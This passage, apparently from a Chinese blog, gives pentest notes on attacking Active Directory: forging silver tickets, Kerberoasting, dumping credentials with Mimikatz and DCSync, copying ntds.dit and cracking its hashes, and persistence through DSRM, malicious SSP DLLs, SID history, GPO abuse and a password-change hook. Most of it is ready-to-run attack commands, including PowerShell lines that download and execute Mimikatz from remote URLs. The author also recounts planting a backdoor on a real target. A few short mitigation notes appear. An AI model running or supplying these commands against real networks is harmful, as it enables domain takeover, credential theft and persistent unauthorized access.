Ticket在使用的过程不需要同域控通信用户在适当的端口上连接到托管服务的服务器并呈现TGS(AP-REQ)。该服务使用其NTLM密码散列打开TGS票证。与域控制器没有AS-REQ / AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。 银票是伪造的Kerberos票证授予服务(TGS)票据,也称为服务票据。 域上获取信息 mimikatz log "sekurlsa::logonpasswords" 首先需要获得如下信息: /domain /sid /target:目标服务器的域名全称,此处为域控的全称 /service:目标服务器上面的kerberos服务,此处为cifs /rc4:计算机账户的NTLM hash,域控主机的计算机账户 /user:要伪造的用户名,此处可用silver测试 mimikatz.exe "kerberos::golden /domain:域 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:silver /ptt" 就可以访问域的cifs共享,访问其它是不行的,Silver Ticket是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限 域服务账号破解 与上面SPN扫描类似的原理 https://github.com/nidem/kerberoast 获取所有用作SPN的帐户 setspn -T PENTEST.com -Q */* 从Mimikatz的ram中提取获得的门票 kerberos::list /export 用rgsrepcrack破解 tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi 没复现成功 凭证盗窃 最常用的手法域管理登录历史记录,记得获取某边界权限一个然后抓取hash并没有域管理的,可能是搞的动静有点大,管理员第二天上去把马给清除了,还好留了有后门再次抓取hash直接获取到域管理员。 大多数Active Directory管理员使用用户帐户登录到其工作站,然后使用RunAs(将其管理凭据放置在本地工作站上)或RDP连接到服务器运行Mimikatz 读取密码,收集密码尝试登录管理员机器一般只要域管理员登录过的机器抓取都可以获取域控了 防:管理员不应该拿着域用户去登录web服务器或者邮件服务器一但这些被攻破抓取的密码就是域了 ARP 最后才是ARP欺骗不到最后不要拿出来。 RespondercainettercapBDFProxy 获取AD Hash 攻击者如何转储Active Directory数据库https://adsecurity.org/?p=2398 活动目录数据库(ntds.dit): Active Directory域数据库存储在ntds.dit文件中(默认存储在c:WindowsNTDS中,AD数据库是Jet数据库引擎,它使用提供数据存储和索引服务的可扩展存储引擎(ESE)ESE级索引使对象属性可以快速定位。ESE确保数据库符合ACID(原子性,一致性,隔离性和持久性) – 交易中的所有操作完成或不执行。AD ESE数据库非常快速和可靠。 目录分区https://technet.microsoft.com/en-us/library/cc961591.aspx ntds.dit文件由三个主表组成:数据表,链接表和SD表。 具体详细资料查看: https://technet.microsoft.com/en-us/library/cc772829(v=ws.10).aspx 使用VSS卷影副本 什么是卷影副本? 卷影副本,也称为快照,是存储在 Data Protection Manager (DPM) 服务器上的副本的时间点副本。副本是文件服务器上单个卷的受保护共享、文件夹和文件的完整时间点副本。 支持操作系统: Windows Server 2003, Windows Server 2008, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012, Windows 8 通常拿下一台服务器时准备内网渗透,需要传你的工具到目标机器中,而且是长久渗透的这种,为了不被发现!获取系统SAM文件等 使用VSS卷影副本(通过WMI或PowerShell远程处理)远程提取ntds.dit Windows有一个名为WMI的内置管理组件,支持远程执行(需要管理员权限)。WMIC是在远程计算机上执行命令的WMI命令工具。 利用WMIC(或PowerShell远程处理)创建(或复制现有的)VSS。 wmic /node:AD /user:PENTESTAdministrator /password:123qweQWE!@# process call create "cmd /c vssadmin create shadow /for=c: 2>&1 > c:vss.log" 查看vss.log wmic /node:AD /user:PENTESTadministrator /password:123qwe!@#!@# process call create "cmd /c copy 卷影IDWindowsNTDSNTDS.dit C:windowstempNTDS.dit 2>&1" wmic /node:AD /user:PENTESTadministrator /password:123qwe!@# process call create "cmd /c copy 卷影IDWindowsSystem32configSYSTEM c:windowstempSYSTEM.hive 2>&1" net use k: \pentest.comc$ 利用这种方法可以和上面的Kerberos票结合来实现 使用DIT Snapshot Viewer可以验证我们是否成功地获得了ntds.dit文件。 https://github.com/yosqueoy/ditsnap NTDSUtil获取ntds.dit文件 Ntdsutil.exe是一个为Active Directory提供管理设施的命令行工具。 使用NTDSUTIL的IFM创建(VSS卷影副本)在DC上本地引用ntds.dit NTDSUtil是本地处理AD DB的命令实用程序(ntds.dit),并为DCPromo启用IFM集创建。IFM与DCPromo一起用于“从媒体安装”,因此被升级的服务器不需要通过网络从另一个DC复制域数据。 ntdsutil "ac i ntds" "ifm" "create full c:temp" q q 当创建一个IFM时,VSS快照被拍摄,挂载,ntds.dit文件和相关数据被复制到目标文件夹中。 此命令也可以通过WMI或PowerShell远程执行。 PowerShell提取ntds.dit 使用PowerSploit的Invoke-NinjaCopy远程提取ntds.dit(需要在目标DC上启用PowerShell远程处理功能)。 Invoke-NinaCopy是一个PowerShell函数,它可以利用PowerShell远程处理(必须在目标DC上启用PowerShell远程处理),从远程计算机上复制文件(即使文件已锁定,可直接访问文件)。 https://github.com/PowerShellMafia/PowerSploit IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1'); Invoke-NinjaCopy -Path "C:windowsntdsntds.dit" -ComputerName "AD" -LocalDestination "C:tempntds.dit" 使用Mimikatz提取 使用Mimikatz在提取Active Directory hash mimikatz lsadump::lsa /inject exit 使用RID 502的帐户是KRBTGT帐户,使用RID 500的帐户是域的默认管理员。 获取对Active Directory数据库文件的访问权限(ntds.dit) Active Directory数据库(ntds.dit)包含有关Active Directory域中所有对象的所有信息 该文件还包含所有域用户和计算机帐户的密码哈希值。 有时候域控升级等会把ntds.dit备份文件可从共享服务器中找到可以不用直接从域控制复制 使用Mimikatz转储LSASS内存 sekurlsa::minidump c:templsass.dmp 使用任务管理器(获取域管理员凭据)转储LSASS内存 使用PowerShell Mimikatz 使用PowerShell,域必需要能上网否则这方法不可用 powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit' 无程获取 Powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -Command ‘”privilege::debug” “LSADump:LSA /inject”‘ -Computer pentest.com Mimikatz的DCSync 使用Mimikatz的DCSync 远程转储Active Directory凭证,它有效地”模拟”域控制器并向目标域控制器请求帐户密码数据。 使用Mimikatz的DCSync和相应的权限,攻击者可以通过网络从域控制器中提取密码散列以及以前的密码散列,而无需交互式登录或复制Active Directory数据库文件(ntds.dit) 运行DCSync需要特殊权限。管理员,域管理员或企业管理员以及域控制器计算机帐户的任何成员都能够运行DCSync来提取密码数据。请注意,只读域控制器不仅可以默认为用户提取密码数据。 提取 KRBTGT用户帐户的密码数据: Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit 管理员用户帐户提取密码数据: Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit NTDS.dit中提取哈希 从NTDS.dit中提取哈希,提取出来的文件通过ntdsdump是无法提取的通过esedbexport来恢复。 安装: wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz`apt-get install autoconf automake autopoint libtool pkg-config./configuremakemake installldconfigesedbexport -m tables ntds.dit 大概需要(20-30分钟) 最后生成在./ntds.dit.export/ 使用ntdsxtract提取域信息 git clone https://github.com/csababarta/ntdsxtract.gitpython setup.py build && python setup.py install 提取hash: (这里需要将刚拷出来的三个文件中的system复制到当前目录下) $ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txt 这样提取出来之后已经是转换成hashcat可破解的格式 hashcat -m 1000 ntout ./password.txt AD持久化 活动目录持久性技巧 https://adsecurity.org/?p=1929DS恢复模式密码维护https://blogs.technet.microsoft.com/askds/2009/03/11/ds-restore-mode-password-maintenance/ DSRM密码同步 DSRM密码同步将域控权限持久化,获取到域控权限后如何利用DSRM密码同步将域管权限持久化。 Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。 KB961320 https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni 巧用DSRM密码同步将域控权限持久化 http://drops.xmd5.com/static/drops/tips-9297.html 同步之后使用法国佬神器(mimikatz)查看krbtgt用户和SAM中Administrator的NTLM值。 可以看到两个账户的NTLM值相同,说明确实同步成功 修改注册表允许DSRM账户远程访问 修改注册表 hkey_local_machineSystemCurrentControlSetControlLsa 路径下的 DSRMAdminLogonBehavior 的值为2。 系统默认不存在DSRMAdminLogonBehavior,请手动添加。 使用HASH远程登录域控 DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。 事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作。 缓解措施 对于这个问题的唯一有效的缓解措施就是确保每一台域控制器的DSRM账户密码是唯一的并且定期修改此密码。同时,确保注册表DsrmAdminLogonBehavior的值不为2,最好将其直接删除或者设置其值为1或0。 Security Support Providerhttps://adsecurity.org/?p=1760http://www.evil0x.com/posts/11354.html 直译为安全支持提供者 又名Security Package. 简单的理解为SSP就是一个DLL,用来实现身份认证 将mimilib.dll复制到域控c:/windows/system32下 设置SSP 修改域控注册表位置: HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/ Memory Updating of SSPs privilege::debug misc::memssp 这样就不需要重启 c:/windows/system32可看到新生成的文件kiwissp.log 如果不是在域环境下生成的文件会在 system32mimilsa.log 防: 检测注册表位置: HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/ 检测%windir%/System32是否有可疑dll SID历史 https://adsecurity.org/?p=1772 SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户 mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator" AdminSDHolder&SDProp 利用AdminSDHolder&SDProp(重新)获取域管理权限 https://adsecurity.org/?p=1906 AdminSDHolder是位于Active Directory中的系统分区 组策略 https://adsecurity.org/?p=2716 策略对象在持久化及横向渗透中的应用https://www.anquanke.com/post/id/86531 组策略概述 组策略使管理员能够管理Active Directory中的计算机和用户。组策略保存为组策略对象(GPO) 攻击者可以滥用GPO,通过欺诈方式进一步自动化地传播恶意软件、实现持久化驻留目的 恶意软件可以利用GPO穿越IDS/IPS等防火墙,最终访问到域内所有的系统。 GPO的另一优点就是攻击过程期间并不需要目标系统在线,一旦离线状态下的目标系统重新登录到域中,恶意的GPO载荷就会被投递到目标系统。 组策略默认情况下每90分钟(域控制器5分钟)可包括安全选项,注册表项,软件安装以及启动和关闭脚本以及域成员刷新组策略设置。这意味着组策略在目标计算机上执行配置的设置。 SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享。SYSVOL包含登录脚本,组策略数据以及其他域控制器中需要使用的全域数据。 SYSVOL共享将自动同步并在所有域控制器之间共享。 其实我认为组策略也相当于远控,可以把配置脚本让域内的每一台电脑都种上马批量执行一遍。 或者每周在所有域上运行Mimikatz获取明文密码,以及获取某种类型文件这要通过编写脚本实现。 远程搜索某个本地文件(如proof.txt) Get-Content <list of IPs> | ForEach-Object {Getwmiobject CIM_DataFile -filter »Drive=’c:’ AND Filename=’proof’ AND extension=’txt’ -Impersonate 3 -computername $_ | Select PSComputername, Name -Unique} 一篇文章精通PowerShell Empire 2.3(上)https://www.anquanke.com/post/id/87328 防: 定期审核GPO。 为GPO使用定义清晰的命名约定 记录GPO的创建动作 Hook PasswordChangeNotify 在修改域控密码时会进行如下同步操作: a. 当修改域控密码时,LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求 b. 如果符合,LSA接着调用PasswordChangeNotify在系统上同步更新密码 函数PasswordChangeNotify存在于rassfm.dll poc下载地址: https://github.com/clymb3r/Misc-Windows-Hacking 使用VS2015开发环境,MFC设置为在静态库中使用MFC 编译工程,生成HookPasswordChange.dll 下载Powershell的dll注入脚本 https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 在代码尾部添加如下代码: Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsass 并命名为HookPasswordChangeNotify.ps1 上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll 管理员权限执行: PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1 将获取到的密码上传到http服务器: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html 一如既往的学习,一如既往的整理,一如即往的分享。感谢支持 ...